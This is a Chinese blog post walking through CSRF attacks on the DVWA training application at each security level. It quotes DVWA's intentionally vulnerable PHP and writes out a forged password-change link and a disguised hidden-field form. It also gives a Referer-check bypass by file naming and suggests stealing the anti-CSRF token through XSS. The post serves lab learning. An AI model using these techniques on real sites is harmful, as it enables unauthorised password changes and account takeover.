DVWA练习之CSRF
本博客将记录在web安全问题中一种常见的漏洞——“CSRF”漏洞的实践演练。首先阐述CSRF漏洞的概念,原理,最后展示基于DVWA的各种等级的CSRF。
CSRF概念
CSRF(cross-site request forgery):跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。
DVWA跨站请求伪造
DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。
部署好DVWA后,登陆DVWA首先选择练习的难度等级。DVWA中共分为四种安全级别:Low,Medium,High,Impossible。然后选择练习的模块,这里我们选择CSRF(跨站请求伪造)模块。
Low等级
选好等级后,进入CSRF(跨站请求伪造)模块。
发现是修改密码的界面,那么首先按照正常的流程修改密码。
页面显示密码已经改变,说明我们修改密码成功。而且url发生了改变变成了
DVWA-1.9/...../csrf/?password_new=test&password_conf=test&Change=Change#
我们查看DVWA的源代码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
mysql_close();
}
?>
发现代码只判断了$pass_new == $pass_conf
是否成立没有其他防范CSRF的措施。
因此我们要利用以上漏洞:
(1)构造链接:将之前的url改成http://127.0.0.1/DVWA-1.9/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
用户点击后密码会直接改成password(但是现在一眼就可以看出这是修改密码的操作而且点击进入后是修改密码成功的页面)
(2)构造页面:构造一个虚假的点击进入的页面。
<html>
<body>
<from action="http://127.0.0.1/DVWA-1.9/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="password"/>
<input type="hidden" name="password_conf" value="password"/>
<input type="hidden" name="Change" value="Change"/>
<input type="submit" value="美女图片"/>
</from>
</body>
</html>
其url为http://127.0.0.1/csrftest.html点击后效果如图
而且密码成功修改,说明CSRF漏洞测试成功!
Medium等级(校验referer)
我们按照Low等级的方法发现结果如下
显示修改密码失败,说明之前的方法已经行不通了。我们查看源代码。
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
mysql_close();
}
?>
其中函数eregi(pattern,string)的功能是检查string中是否含有pattern(不区分大小写),若有返回ture,若没有则返回false。
也就是说Medium等级在判断$pass_new == $pass_conf
之前还检查了保留变量HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,即要访问的主机名)。
过滤规则是http包头的Referer参数的值中必须包含主机名
我们可以将攻击页面命名为127.0.0.1.html(页面被放置在攻击者的服务器里)就可以绕过了
High等级(随机Token)
查看服务器源代码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
mysql_close();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。可以利用High级别的XSS漏洞协助获取Anti-CSRF token。
Impossible等级
impossible等级页面已经发生了变化,需要用户输入当前密码才能够修改密码,简单粗暴可以完全确保当前用户是本人,从而防止了CSRF漏洞。